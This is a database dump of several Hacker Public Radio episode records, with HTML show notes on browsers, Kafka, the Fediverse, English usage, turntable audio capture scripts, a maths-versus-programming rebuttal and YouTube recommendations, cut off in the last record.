(3629,'2022-06-30','Linux Inlaws S01E59: The Show with Red Pandas Mosaic Killers and Metal Corrosion',4365,'An interview with Eric Rescorla (Firefox CTO) on Browsers, the Internet and hard-core sci-fi','<p>\r\nIn this episode, Martin and Chris interview Eric Rescorla, the CTO of Firefox at Mozilla. After\r\ndiscussing the weather situation in the Kingdom formerly known as the UK, our two aging heros\r\ngo right into browsers, programming languages, the Mozilla ecosystem and internet history and future\r\nalike. This episode again is not for the faint-hearted as none of the gory details are spared: We learn about Chris\' t-shirt situation (and how you can kidnap apparel), why Google is so sucessful, data privacy and Internet monetization. Never mind rendering engines. Plus: more Rust marketing (Rebecca Rumbul: Take note :-). \r\n</p>\r\n\r\n<h2>Links:</h2>\r\n<ul>\r\n<li>Firefox: <a href=\"https://www.mozilla.org/en-US/firefox/browsers\" target=_blank>https://www.mozilla.org/en-US/firefox/browsers</a></li>\r\n<li>Mozilla Foundation: <a href=\"https://foundation.mozilla.org\" target=_blank>https://foundation.mozilla.org</a></li>\r\n<li>Mozilla Corporation: <a href=\"https://www.mozilla.org\" target=_blank>https://www.mozilla.org</a></li>\r\n<li>Gecko: <a href=\"https://developer.mozilla.org/en-US/docs/Glossary/Gecko\" target=_blank>https://developer.mozilla.org/en-US/docs/Glossary/Gecko</a></li>\r\n<li>Blink: <a href=\"https://www.chromium.org/blink\" target=_blank>https://www.chromium.org/blink</a></li>\r\n<li>Servo: <a href=\"https://servo.org\" target=_blank>https://servo.org</a></li>\r\n<li>Quantum: <a href=\"https://wiki.mozilla.org/Quantum\" target=_blank>https://wiki.mozilla.org/Quantum</a></li>\r\n<li>Webkit: <a href=\"https://webkit.org\" target=_blank>https://webkit.org</a></li>\r\n<li>Trident (MSHTML): <a href=\"https://en.wikipedia.org/wiki/MSHTML\" target=_blank>https://en.wikipedia.org/wiki/MSHTML</a></li>\r\n<li>CSS: <a href=\"https://www.w3.org/Style/CSS\" target=_blank>https://www.w3.org/Style/CSS</a></li>\r\n<li>Rust: <a href=\"https://www.rust-lang.org\" target=_blank>https://www.rust-lang.org</a></li>\r\n<li>Ada standard: <a href=\"https://www.iso.org/standard/16028.html\" target=_blank>https://www.iso.org/standard/16028.html</a></li>\r\n<li>Web Monetization: <a href=\"https://foundation.mozilla.org/de/campaigns/web-monetization\" target=_blank>https://foundation.mozilla.org/de/campaigns/web-monetization</a></li>\r\n<li>Mozilla\'s Vision for the Web: <a href=\"https://webvision.mozilla.org/full\" target=_blank>https://webvision.mozilla.org/full</a></li>\r\n<li>Peter Watt\'s Blindsight: <a href=\"https://rifters.com/real/Blindsight.htm\" target=_blank>https://rifters.com/real/Blindsight.htm</a></li>\r\n<li>Mozilla Manifesto: <a href=\"https://www.mozilla.org/en-US/about/manifesto/details\" target=_blank>https://www.mozilla.org/en-US/about/manifesto/details</a></li>\r\n</ul>\r\n',384,111,1,'CC-BY-SA','Firefox, rendering engines, Mozilla (Foundation and Corporation), Peter Watt, Rust',0,0,1),
(3636,'2022-07-11','The Importance of Data Reduction',2349,'I have a discussion about data reduction with special guest and author, R. Brady Frost','<h2 id=\"the-stuff-evil-steve-doesnt-want-you-to-know-with-lurking-prion.-this-is-season-1-episode-7.\">The stuff Evil Steve doesn\'t want you to know with Lurking Prion. This is Season 1, Episode 7.</h2>\n<p>In this episode, I have a discussion about data reduction with special guest and author, R. Brady Frost. The discussion revolves around the security risk of keeping too much data available, and things that can be done to mitigate those risks.</p>\n<h2 id=\"pics-of-the-week\">Pics of the week:</h2>\n<ul>\n<li><p>Hackers (The Movie)<br />\n<a href=\"https://www.imdb.com/title/tt0113243/?ref_=fn_al_tt_1\" class=\"uri\">https://www.imdb.com/title/tt0113243/?ref_=fn_al_tt_1</a></p></li>\n<li><p>Our Flag Means Death<br />\n<a href=\"https://www.imdb.com/title/tt11000902/\" class=\"uri\">https://www.imdb.com/title/tt11000902/</a></p></li>\n<li><p>R. Brady Frost<br />\n<a href=\"https://www.rbradyfrost.com/\" class=\"uri\">https://www.rbradyfrost.com/</a><br />\n<a href=\"https://www.rbradyfrost.com/blog/category/a-battle-mage-reborn/\" class=\"uri\">https://www.rbradyfrost.com/blog/category/a-battle-mage-reborn/</a></p></li>\n</ul>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li><p>Has your password been involved in a breach?<br />\n<a href=\"https://haveibeenpwned.com/\" class=\"uri\">https://haveibeenpwned.com/</a></p></li>\n<li><p>Realtime Global Cyber Attack Map<br />\n<a href=\"https://threatmap.checkpoint.com/\" class=\"uri\">https://threatmap.checkpoint.com/</a></p></li>\n</ul>\n',405,74,1,'CC-BY-SA','cybersecurity,security,EvilSteve,breach,data reduction,privacy',0,0,1),
(3639,'2022-07-14','Linux Inlaws S01E60: The Job Interview',3262,'An interview with Kris Jenkins from Confluent','<p>\r\n\r\nIn this episode, the Linux Inlaws interview a potential new recruit :-) call Kris Jenkins, from Kafka, an Apache project implementing a scalable distributed event streaming platform (don\'t know what that is? Listen to the show! :-) . A cautious warning: This episode contains strong philosophical / political views, language and insights which may change your views on messaging systems in general and Kafka in particular. Two hints: Chris shares his view on what a database *really* is and Kris Jenkins tries hard to convince our two aging heroes that he\'s the man for the job (teaser: he decided to stay at his current position as a dev advocate at Confluent after all). Plus: More on love, death and robots. Interested in the details? Then don\'t miss this show! \r\n</p>\r\n\r\n<h2>Links:</h2>\r\n<ul>\r\n<li>Apache Kafka: <a href=\"https://kafka.apache.org\" target=_blank>https://kafka.apache.org</a></li>\r\n<li>Confluent: <a href=\"https://www.confluent.io\" target=_blank>https://www.confluent.io</a></li>\r\n<li>Redis: <a href=\"https://redis.io\" target=_blank>https://redis.io</a></li>\r\n<li>Databases: <a href=\"https://en.wikipedia.org/wiki/Database\" target=_blank>https://en.wikipedia.org/wiki/Database</a></li>\r\n<li>Event-Driven Architecture: <a href=\"https://en.wikipedia.org/wiki/Event-driven_architecture\" target=_blank>https://en.wikipedia.org/wiki/Event-driven_architecture</a></li>\r\n<li>RabbitMQ: <a href=\"https://github.com/rabbitmq\" target=_blank>https://github.com/rabbitmq</a></li>\r\n<li>Zookeeper note: <a href=\"https://medium.com/knerd/eureka-why-you-shouldnt-use-zookeeper-for-service-discovery-4932c5c7e764\" target=_blank>https://medium.com/knerd/eureka-why-you-shouldnt-use-zookeeper-for-service-discovery-4932c5c7e764</a></li>\r\n<li>KRaft: <a href=\"https://docs.confluent.io/platform/current/zookeeper/kraft.html\" target=_blank>https://docs.confluent.io/platform/current/zookeeper/kraft.html</a></li>\r\n<li>KIP: <a href=\"https://cwiki.apache.org/confluence/display/kafka/kafka+improvement+proposals\" target=_blank>https://cwiki.apache.org/confluence/display/kafka/kafka+improvement+proposals</a></li>\r\n<li>Monster Hunter: <a href=\"https://www.monsterhunter.com\" target=_blank>https://www.monsterhunter.com</a></li>\r\n<li>LOVE DEATH + ROBOTS: <a href=\"https://www.imdb.com/title/tt9561862\" target=_blank>https://www.imdb.com/title/tt9561862</a></li>\r\n<li>Unix Philosophy: <a href=\"https://www.linfo.org/unix_philosophy.html\" target=_blank>https://www.linfo.org/unix_philosophy.html</a></li>\r\n</ul>\r\n',384,111,1,'CC-BY-SA','Kafka, Confluent, distributed event platforms, databases, Redis, Love, Death, Robots, Zookeeper',0,0,1),
(3780,'2023-01-27','Fediverse Update May 2022',824,'This episode reports on some updates to the Fediverse that I ran across in May 2022','<p>One of the things I love about the Fediverse is that there is constant activity and development. As I mentioned in the previous report on Bookwyrm, it is not unusual to return to an app a few months later and see new features have been added that make it better. In this report I want to highlight three news stories that I think may be of interest.</p>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li><a href=\"https://www.starshipchangeling.net/mastodon/\" class=\"uri\">https://www.starshipchangeling.net/mastodon/</a></li>\n<li><a href=\"https://www.theverge.com/2018/8/31/17801404/mastodon-harassment-wil-wheaton-mobs-twitter\" class=\"uri\">https://www.theverge.com/2018/8/31/17801404/mastodon-harassment-wil-wheaton-mobs-twitter</a></li>\n<li><a href=\"https://fediverse.info/\" class=\"uri\">https://fediverse.info/</a></li>\n<li><a href=\"https://golangexample.com/gotosocial-a-fediverse-server-project-written-in-golang/\" class=\"uri\">https://golangexample.com/gotosocial-a-fediverse-server-project-written-in-golang/</a></li>\n<li><a href=\"https://apps.apple.com/us/app/metatext/id1523996615\" class=\"uri\">https://apps.apple.com/us/app/metatext/id1523996615</a></li>\n<li><a href=\"https://wordpress.org/plugins/activitypub/\" class=\"uri\">https://wordpress.org/plugins/activitypub/</a></li>\n<li><a href=\"https://www.zwilnik.com/better-social-media/bookwyrm/\" class=\"uri\">https://www.zwilnik.com/better-social-media/bookwyrm/</a></li>\n</ul>\n',198,108,0,'CC-BY-SA','social media, alternative, Fediverse, ActivityPub, Mastodon, Screen readers, WordPress',0,0,1),
(3608,'2022-06-01','Battling with English - part 5',927,'Confused homophones; misunderstanding words from other countries; Eggcorns','<article>\n<h2 id=\"overview\">Overview</h2>\n<p>This time I have three main subjects to discuss, all of them dealing with misunderstandings of words:</p>\n<ul>\n<li>Mistakes made with <em>homophones</em>, one group of examples\n<ul>\n<li>The definition gets a little technical, see the <a href=\"https://en.wikipedia.org/wiki/Homophone\" title=\"Wikipedia: words that sound the same but have different meaning\">Wikipedia</a> description.</li>\n</ul></li>\n<li>Misunderstandings of words from other languages\n<ul>\n<li><em>Pundit</em></li>\n</ul></li>\n<li>Looking at <em>Eggcorns</em> (a name chosen from a misspelling of <em>acorn</em>)\n<ul>\n<li>Wikipedia: <em>an alteration of a phrase through the mishearing or reinterpretation of one or more of its elements</em></li>\n</ul></li>\n</ul>\n<h2 id=\"long-notes\">Long notes</h2>\n<p>Follow this link to <a href=\"https://hackerpublicradio.org/eps/hpr3608/full_shownotes.html\">read the detailed notes</a> associated with this episode.</p>\n<h2 id=\"links\">Links</h2>\n<ul>\n<li>Misunderstanding homophones:\n<ul>\n<li><a href=\"https://en.wikipedia.org/wiki/Homophone\">Wikipedia article on <em>homophones</em></a></li>\n<li><a href=\"https://www.dictionary.com/e/reign-vs-rein/\">Confusing <em>reign</em> and <em>rein</em></a></li>\n<li>Definitions of <em>reign</em>:\n<ul>\n<li><a href=\"https://www.thefreedictionary.com/reign\">Free Dictionary: <em>reign</em></a></li>\n<li><a href=\"https://www.merriam-webster.com/dictionary/reign\">Merriam-Webster: <em>reign</em></a></li>\n</ul></li>\n<li>Definitions of <em>rein</em>:\n<ul>\n<li><a href=\"https://www.thefreedictionary.com/rein\">Free Dictionary: <em>rein</em></a></li>\n<li><a href=\"https://www.merriam-webster.com/dictionary/rein\">Merriam-Webster: <em>rein</em></a></li>\n</ul></li>\n</ul></li>\n</ul>\n<ul>\n<li>Misunderstanding imported words:\n<ul>\n<li><a href=\"https://www.beedictionary.com/common-errors/pundint_vs_pundit\">Bee Dictionary: <em>pundint or pundit</em></a></li>\n<li>Definitions of <em>pundit</em>:\n<ul>\n<li><a href=\"https://www.thefreedictionary.com/Pundit\">Free Dictionary: <em>pundit</em></a></li>\n<li><a href=\"https://www.merriam-webster.com/dictionary/pundit\">Merriam-Webster: <em>pundit</em></a></li>\n</ul></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Jawaharlal_Nehru\">Wikipedia article: Jawaharlal Nehru, aka <em>Pandit Nehru</em></a></li>\n</ul></li>\n</ul>\n<ul>\n<li><em>Eggcorns</em>:\n<ul>\n<li><a href=\"https://en.wikipedia.org/wiki/Eggcorn\">Wikipedia article on <em>Eggcorns</em></a></li>\n<li><a href=\"https://eggcorns.lascribe.net/\">The Eggcorn Database</a></li>\n<li><a href=\"https://eggcorns.lascribe.net/forum/\">The Eggcorn Forum</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Alzheimer%27s_disease\">Wikipedia article on Alzheimers disease</a></li>\n<li><a href=\"https://www.goodreads.com/quotes/8690878-cruel-clever-cat-sally-having-swallowed-cheese-directs-down-holes\"><em>Cruel, Clever Cat</em>, by Geoffrey Taylor</a> a joke on the Eggcorn <em>baited breath</em></li>\n</ul></li>\n</ul>\n<ul>\n<li>Previous episodes in this series:\n<ul>\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2558\">Battling with English - part 1</a></li>\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2596\">Battling with English - part 2</a></li>\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2751\">Battling with English - part 3</a></li>\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=3525\">Battling with English - part 4</a></li>\n</ul></li>\n</ul>\n</article>\n',225,120,1,'CC-BY-SA','grammar,spelling,homonym,Eggcorn',0,0,1),
(3641,'2022-07-18','Turntable audio capture Part 2',354,'I revise previous capture scripts','<h4 id=\"update-to-hpr-3507\">Update to HPR 3507</h4>\n<p><a href=\"https://hackerpublicradio.org/eps.php?id=3507\">hpr3507 :: USB Turntable fix and sound journey</a> </p>\n<pre><code>record_capture_wav.sh\n#!/bin/bash\n\necho &quot;Record name?&quot;\nread record\necho &quot;Which side is this?&quot;\nread side\n\narecord --device=&#39;hw:CARD=CODEC,DEV=0&#39; --rate=96000 --channels=2 --vumeter=stereo --duration=1500 --format=dat --file-type wav $record&quot;_Side_&quot;$side.wav\n</code></pre>\n<pre><code>record_capture_flac.sh\n#!/bin/bash\n\n echo &quot;Record name&quot;\n read record\n echo &quot;Which side is this?&quot;\n read side\n\narecord --device=&#39;hw:CARD=CODEC,DEV=0&#39; --rate=96000 --channels=2 --vumeter=stereo --duration=1500 --format=dat --file-type wav - | flac - -o $record&quot;_Side_&quot;$side.flac</code></pre>\n<p>Used hw:CARD=CODEC,DEV=0 derived from \'arecord -L\'</p>\n<p>hw:CARD=CODEC,DEV=0 USB Audio CODEC, USB Audio Direct hardware device without any conversions</p>\n<h4 id=\"arecord-manpage\">arecord manpage</h4>\n<pre><code>...\n\n-f --format=FORMAT\n\n Sample format\n Recognized sample formats are: S8 U8 S16_LE S16_BE U16_LE U16_BE S24_LE S24_BE U24_LE U24_BE S32_LE S32_BE U32_LE U32_BE FLOAT_LE FLOAT_BE\n FLOAT64_LE FLOAT64_BE IEC958_SUBFRAME_LE IEC958_SUBFRAME_BE MU_LAW A_LAW IMA_ADPCM MPEG GSM SPECIAL S24_3LE S24_3BE U24_3LE U24_3BE S20_3LE\n S20_3BE U20_3LE U20_3BE S18_3LE S18_3BE U18_3LE\n\n Some of these may not be available on selected hardware\n The available format shortcuts are:\n\n -f cd (16 bit little endian, 44100, stereo) [-f S16_LE -c2 -r44100]\n -f cdr (16 bit big endian, 44100, stereo) [-f S16_BE -c2 -f44100]\n -f dat (16 bit little endian, 48000, stereo) [-f S16_LE -c2 -r48000]\n\n If no format is given U8 is used.\n\n-d, --duration=#\n Interrupt after # seconds. A value of zero means infinity. The default is zero, so if this option is omitted then the arecord process will run until it is killed.\n\n-t, --file-type TYPE\n File type (voc, wav, raw or au). If this parameter is omitted the WAVE format is used.\n\n...\n\n</code></pre>\n<p><a href=\"https://hackerpublicradio.org/eps.php?id=2881\">hpr2881 :: Automatically split album into tracks in Audacity</a> </p>\n<h4 id=\"changes-as-of-5-20-2022\">Changes as of 5-20-2022</h4>\n<ul>\n<li>Old way : Select the entire track and select Analyze &gt; Silence Finder</li>\n<li>Update : Select the entire track and select Analyze &gt; Label Sounds</li>\n</ul>\n<p><em>Label sounds menu</em><br />\n<a href=\"https://hackerpublicradio.org/eps/hpr3641/audacity_screenshot_1.png\"><img src=\"https://hackerpublicradio.org/eps/hpr3641/audacity_screenshot_1_thumbnail.png\" alt=\"Label sounds menu\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small> </p>\n<p><em>Silence detection options</em><br />\n<img src=\"https://hackerpublicradio.org/eps/hpr3641/audacity_screenshot_2.png\" alt=\"Silence detection options\" /> </p>\n<p>HowTo: Split MP3s by silence detection using mp3splt</p>\n<p><a href=\"https://blog.dornea.nu/2012/04/01/howto-split-mp3s-by-silence-detection-using-mp3splt/\" class=\"uri\">https://blog.dornea.nu/2012/04/01/howto-split-mp3s-by-silence-detection-using-mp3splt/</a></p>\n<p>mp3splt -s -p th=-40,min=6,rm</p>\n<p>Parameters explanation:</p>\n<pre><code>&#39;-s&#39;: silence mode; activate silence detection\n&#39;-p&#39;: specify arguments for the silence mode\n&#39;th=-40&#39;: threshold level (dB) to be considered silence\n&#39;min=6&#39;: minimum number of seconds to be considered as splitpoint\n&#39;rm&#39;: remove silence from splitted files</code></pre>\n<h4 id=\"what-worked-for-me\">What worked for me</h4>\n<p>mp3splt -s -p th=-30,min=0.5,rm $1</p>\n<p>Fix tracks not splitting</p>\n<ul>\n<li>Manually seek the silence in mplayer/mpv</li>\n<li>Note the silent areas</li>\n<li>Cut with ffmpeg ie.\n<ul>\n<li>ffmpeg -i track.flac -ss 00:03:05 -to 00:06:00 -acodec copy track-cut1.flac</li>\n</ul></li>\n</ul>\n<h4 id=\"references\">References</h4>\n<p>How to rip vinyl in Manjaro<br />\n<a href=\"https://forum.manjaro.org/t/howto-rip-vinyl-lps-in-manjaro/83300\" class=\"uri\">https://forum.manjaro.org/t/howto-rip-vinyl-lps-in-manjaro/83300</a></p>\n<p>mp3splt<br />\n<a href=\"https://mp3splt.sourceforge.net\" class=\"uri\">https://mp3splt.sourceforge.net</a></p>\n<h5 id=\"man-pages\">Man pages</h5>\n<p><a href=\"https://mp3splt.sourceforge.net/mp3splt_page/documentation/man.html\" class=\"uri\">https://mp3splt.sourceforge.net/mp3splt_page/documentation/man.html</a></p>\n<p><a href=\"https://manpages.ubuntu.com/manpages/xenial/en/man1/mp3splt.1.html\" class=\"uri\">https://manpages.ubuntu.com/manpages/xenial/en/man1/mp3splt.1.html</a></p>\n<h5 id=\"youtube-downloader\">Youtube downloader</h5>\n<p><a href=\"https://ytgram.com/en/youtube-video-downloader\" class=\"uri\">https://ytgram.com/en/youtube-video-downloader</a></p>\n<p><em>Screen capture of youtube link download on YTGram</em><br />\n<a href=\"https://hackerpublicradio.org/eps/hpr3641/ytgram.png\"><img src=\"https://hackerpublicradio.org/eps/hpr3641/ytgram_thumbnail.png\" alt=\"Screen capture of youtube link download on YTGram\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small> </p>\n<h5 id=\"sample-album\">Sample album</h5>\n<p>J&#x332;o&#x332;urney - D&#x332;eparture&#x332; (Full Album) 1980<br />\n<br />\n<a href=\"https://www.youtube.com/watch?v=eoG9U8n0dWo\" class=\"uri\">https://www.youtube.com/watch?v=eoG9U8n0dWo</a></p>\n',318,0,0,'CC-BY-SA','audio, capture, vinyl, audacity, mp3splt, arecord, ffmpeg, wav, flac',0,0,1),
(3606,'2022-05-30','Infinity is just a big number and other proofs',561,'Ken proves Mathematically that programming is not easier with maths.','<h1 id=\"response-to-hpr3568\">Response to hpr3568</h1>\n<pre><code> Title PopKorn Episode 2: Programming, Mathematics, and Asymmetric Literacy\n Artist BlacKernel\n Album Hacker Public Radio\n Comment https://hackerpublicradio.org Clean; in This episOde, blackeRnel Tries to help yoU undeRstand Enough about math and programming The license is CC-BY-SA\n Date 2022\n Track Number 3568\n Genre Podcast\n</code></pre>\n<p><a href=\"https://en.wikipedia.org/wiki/Mathematical_joke\">https://en.wikipedia.org/wiki/Mathematical_joke</a><br />\nMathematicians are also shown as averse to making hasty generalizations from a small amount of data, even if some form of generalization seems plausible:</p>\n<pre><code>An astronomer, a physicist and a mathematician are on a train in Scotland.\nThe astronomer looks out of the window, sees a black sheep standing in\na field, and remarks, &quot;How odd. All the sheep in Scotland are black!&quot; &quot;No,\nno, no!&quot; says the physicist. &quot;Only some Scottish sheep are black.&quot; The\nmathematician rolls his eyes at his companions&#39; muddled thinking and says,\n&quot;In Scotland, there is at least one sheep, at least one side of which\nappears to be black from here some of the time.&quot;[Stewart, Ian (1995).\nConcepts of Modern Mathematics. ISBN 9780486134956.]\n</code></pre>\n<p><a href=\"https://en.wikipedia.org/wiki/Mathematical_proof\">https://en.wikipedia.org/wiki/Mathematical_proof</a></p>\n<pre><code>A mathematical proof is an inferential argument for a mathematical\nstatement, showing that the stated assumptions logically guarantee the\nconclusion.\n</code></pre>\n<h2 id=\"stated-assumptions\">Stated assumptions</h2>\n<ul>\n<li><p><a href=\"https://nixnet.social/objects/bc9d7dd8-66a5-4aae-ab21-6f77ad4191d3\">https://nixnet.social/objects/bc9d7dd8-66a5-4aae-ab21-6f77ad4191d3</a></p>\n<pre><code> BlacKernel @BlacKernel@nixnet.social Mar 21, 2022, 19:01.\n Saying you don&#39;t need to know math to do programming is like saying\n you don&#39;t need to know how to read in order to write. Technically\n true, but it makes it way easier.\n</code></pre></li>\n</ul>\n<p>Simplifying the statement</p>\n<pre><code> Knowing math makes programming way easier.\n</code></pre>\n<p>Rearrange and problem</p>\n<pre><code>There are no humans that ever existed or will ever exist that will not\nfind programming easier having a knowledge of maths.\n</code></pre>\n<p>I exist. I do not find programming easier despite my knowledge of maths.</p>\n<p>Q.E.D.</p>\n<h1 id=\"other-points\">other points</h1>\n<p>\"Ability to think logically - which is what math is.\"</p>\n<p>This assumes that math is the only field where the ability to think logically exists. Math is a subset of logical thinking and not the other way around. I can think of hundreds of occupations that require logical thinking that do not require any maths. It would be difficult to argue this point as it could be argued, as most people are exposed to counting no matter what level of literacy they may have access to. So let us refer to studies with crows that shows that they do think logically - despite any math knowledge.</p>\n<ul>\n<li><a href=\"https://www.plosone.org/article/info%3Adoi%2F10.1371%2Fjournal.pone.0092895\">Using the Aesop\'s Fable Paradigm to Investigate Causal Understanding of Water Displacement by New Caledonian Crows</a></li>\n<li><a href=\"https://users.ox.ac.uk/~kgroup/tools/tool_manufacture.shtml\">Tool Manufacture in Crows</a></li>\n</ul>\n<h1 id=\"programming-is-\">Programming is ...</h1>\n<p>The wikipeda entry has 19 other definitions for programming but OK.<br />\n<a href=\"https://en.wikipedia.org/wiki/Program\">https://en.wikipedia.org/wiki/Program</a></p>\n<h2 id=\"asymmetric-literacy\">Asymmetric literacy</h2>\n<p>\"Is an example where you can read or write in a specific language but not necessarily doing both.\"</p>\n<p>Chinese written language can be understood by multiple spoken languages. However the nuance is greater if the writer and reader shared the same language/understanding.</p>\n<pre><code>&quot;Because math and computer are the same thing under the hood if you\nunderstand it then you understand the programming a lot better. But if you\nuse some other analogy .. you&#39;ll write programs that are perfectly fine\nand perfectly work, but it won&#39;t be as exact or as nuanced as it could be\nif you also knew math. That&#39;s what I was saying.&quot;\n</code></pre>\n<ul>\n<li><p>Computer CPU has a bunch of instruction sets in it. Tells the computer what transistor operation to perform</p></li>\n<li><p>Logical extension of the instruction set</p></li>\n<li><p>There is nothing in programming that is not covered by the instruction set.</p></li>\n<li><p>Same way in math depends on axioms</p></li>\n<li><p>\"They are the same thing, .. the exact same process\"</p>\n<p>\"Because they are the same thing under the hood, if you understand how to do math, then you\'ll understand how to make your programs better, because you can write your programs in a way that reflect the underlying structure of the computer which will make your programs run more efficiently as giving you insight into how errors may be occurring etc etc etc.\"</p></li>\n</ul>\n<p>That may have been valid in the pioneering days of computers if we just have one chip with one instruction set. Nowadays programs run on systems that run in Java Virtual Machines, which run on docker containers, running on Virtual Machines, spread across multiple clusters, finally hitting different processors each with their own different instruction sets, then down to different cores.</p>\n<p>Turtles all the way down.</p>\n<p>No they are not. Math axioms do not change from chip manufacturer to chip manufacturer.</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Comparison_of_instruction_set_architectures\">https://en.wikipedia.org/wiki/Comparison_of_instruction_set_architectures</a></p>\n<h2 id=\"axioms\">Axioms</h2>\n<p><a href=\"https://en.wikipedia.org/wiki/List_of_axioms\">https://en.wikipedia.org/wiki/List_of_axioms</a></p>\n<ul>\n<li><p>Axiom of extensionality</p></li>\n<li><p>Axiom of empty set</p></li>\n<li><p>Axiom of pairing</p></li>\n<li><p>Axiom of union</p></li>\n<li><p>Axiom of infinity</p></li>\n<li><p>Axiom schema of replacement</p></li>\n<li><p>Axiom of power set</p></li>\n<li><p>Axiom of regularity</p></li>\n<li><p>Axiom schema of specification</p>\n<pre><code> &quot;You take Logical Deductions from those axioms, that&#39;s what math is.\n Math is a series of logical deductions or proofs utilizing previous\n proofs or axioms. That&#39;s all math is. Can be in different forms.&quot;\n</code></pre></li>\n</ul>\n<p><a href=\"https://en.wikipedia.org/wiki/Euclidean_geometry#Axioms\">https://en.wikipedia.org/wiki/Euclidean_geometry#Axioms</a></p>\n<h3 id=\"axiom-of-infinity\">Axiom of infinity</h3>\n<p>Flawed assumes infinity exists. I reject this as the proof is take a big number +1 keep adding to it. What you actually get is a even bigger integer and not infinity.</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Coastline_paradox\">https://en.wikipedia.org/wiki/Coastline_paradox</a></p>\n<p>Infinity is our inability to think big, and math reflecting that shows a flaw in maths.</p>\n<!--\nvim: syntax=markdown:ts=8:sw=4:ai:et:tw=78:fo=tcqn:fdm=marker:com+=fb\\:-\n-->\n',30,0,0,'CC-BY-SA','math,programming,infinity',0,0,1),
(3621,'2022-06-20','Watching YouTube in 2022',1236,'A few of the channels that distracted me through COVID-19 and beyond','<article>\n<h2 id=\"another-youtube-list-yes--\">Another YouTube list? Yes ;-)</h2>\n<p>I found myself watching YouTube a lot during the worst of the pandemic, and as I saw the world falling apart in many ways. YouTube has been something of a lifeline in the past years, helping me find stuff I actually want to watch, which (mostly) doesnt have all the fake crap thats on TV. I must say though, that I loathe and detest the apparent trend towards <code>#shorts</code> - I really dont see the point of them!</p>\n<p>The channels I chose at this time were to help me understand something of what was going on in the pandemic and in world politics, and a few gave me some distractions from it all.</p>\n<p>This is a fairly short list that Im sharing; I could list quite a few more, but I thought some of these recommendations might be of interest to the HPR audience.</p>\n<h2 id=\"channels\">Channels</h2>\n<ol type=\"1\">\n<li><p><font size=\"+1\"><b>Just Have a Think</b></font></p>\n<ul>\n<li><p>Dave Borlace, the host, talks about climate and sustainable energy.</p></li>\n<li><p>The episodes are well researched and explained clearly, and I find they can often give out some hope that we can lessen the effects of the climate change that is certainly coming.</p></li>\n<li><p>Recent episodes have covered: the <a href=\"https://www.ipcc.ch/\" title=\"The Intergovernmental Panel on Climate Change (IPCC) is the United Nations body for assessing the science related to climate change.\">IPCC</a> <em>Survival Guide</em>, plastic eating enzymes and CO<sub>2</sub> removal from the oceans.</p></li>\n<li><p><a href=\"https://www.youtube.com/c/JustHaveaThink\" class=\"uri\">https://www.youtube.com/c/JustHaveaThink</a></p></li>\n</ul></li>\n<li><p><font size=\"+1\"><b>Undecided with Matt Ferrell</b></font></p>\n<ul>\n<li><p>Matt Ferrell, the host, looks at how smart and sustainable technology impacts our lives.</p></li>\n<li><p>Another clear-sighted and well researched look at technology, particularly in the current world context. Theres also a podcast <em>Still To Be Determined</em> where Matt and his brother Sean have a conversation following on from the shows on YouTube.</p></li>\n<li><p>Recent episodes have covered:</p>\n<ul>\n<li>An improved method of generating <em>green</em> hydrogen</li>\n<li>Using machine learning to boost renewable energy generation and reduce costs of wind farms</li>\n<li>Plastic recycling is not as weve been led to believe.</li>\n</ul></li>\n<li><p><a href=\"https://www.youtube.com/c/UndecidedMF\" class=\"uri\">https://www.youtube.com/c/UndecidedMF</a> (with the podcast <a href=\"https://feeds.transistor.fm/still-to-be-determined\" class=\"uri\">https://feeds.transistor.fm/still-to-be-determined</a>)</p></li>\n</ul></li>\n<li><p><font size=\"+1\"><b>Second Thought</b></font></p>\n<ul>\n<li><p>A channel devoted to education and analysis of current events from a Socialist perspective.</p></li>\n<li><p>My Socialist, anti-Capitalist sympathies fit well with the contents of this channel, and Im learning from it. Its very well done, and has obviously taken some effort to produce.</p></li>\n<li><p>Some recent episode titles:</p>\n<ul>\n<li><em>What if we just stopped working?</em></li>\n<li><em>How Consulting firms secretly run entire countries</em></li>\n</ul></li>\n<li><p><a href=\"https://www.youtube.com/c/SecondThought\" class=\"uri\">https://www.youtube.com/c/SecondThought</a></p></li>\n</ul></li>\n<li><p><font size=\"+1\"><b>Democracy at Work</b></font></p>\n<ul>\n<li><p>Channel description: <em>Democracy at Work is a non-profit 501(c)3 that produces media and live events. Our work analyzes capitalism critically as a systemic problem and advocates for democratizing workplaces as part of a systemic solution. We seek a stronger, fuller democracy in our politics and culture as well as in our economy - based on workers equal collaboration and shared leadership inside enterprises and throughout society.</em></p></li>\n<li><p>The insights shared by Prof. Richard D. Wolff in particular help me to understand a lot of what is going wrong in many countries in the world, though he concentrates on the USA. You will hear him speaking at events, on the radio in the USA and on other YouTube channels and podcasts. There are other presenters on the channel, particularly: Dr. Harriet Fraad (<em>Capitalism Hits Home</em>) and Prof. David Harvey (<em>Anti-Capitalist Chronicles</em>)</p></li>\n<li><p><a href=\"https://www.youtube.com/c/democracyatwrk\" class=\"uri\">https://www.youtube.com/c/democracyatwrk</a></p></li>\n</ul></li>\n<li><p><font size=\"+1\"><b>AT Restoration</b></font></p>\n<ul>\n<li><p>A furniture restorer, Ahti, located in Estonia</p></li>\n<li><p>The quality of the workmanship is wonderful, as can be seen when he turns what look like ruined pieces of furniture into beautiful items. Some restorations are for clients, some for himself.</p></li>\n<li><p>Recent episodes have covered:</p>\n<ul>\n<li>Restoration of an Art Noveau chair</li>\n<li>A mirror seat with water damage - the client doesnt want it to look <strong>new</strong> though</li>\n<li>A 19<sup>th</sup> century coffee grinder</li>\n</ul></li>\n<li><p><a href=\"https://www.youtube.com/c/ATRestoration\" class=\"uri\">https://www.youtube.com/c/ATRestoration</a></p></li>\n</ul></li>\n<li><p><font size=\"+1\"><b>Marty T</b></font></p>\n<ul>\n<li><p>From the channel description: <em>I started this channel to share my ideas, creations, adventures and to show people how easy it is to live off the grid &amp; save money.</em></p></li>\n<li><p>Marty, the host and his family live in the north of the south island of New Zealand (Marlborough Sounds<a href=\"#fn1\" 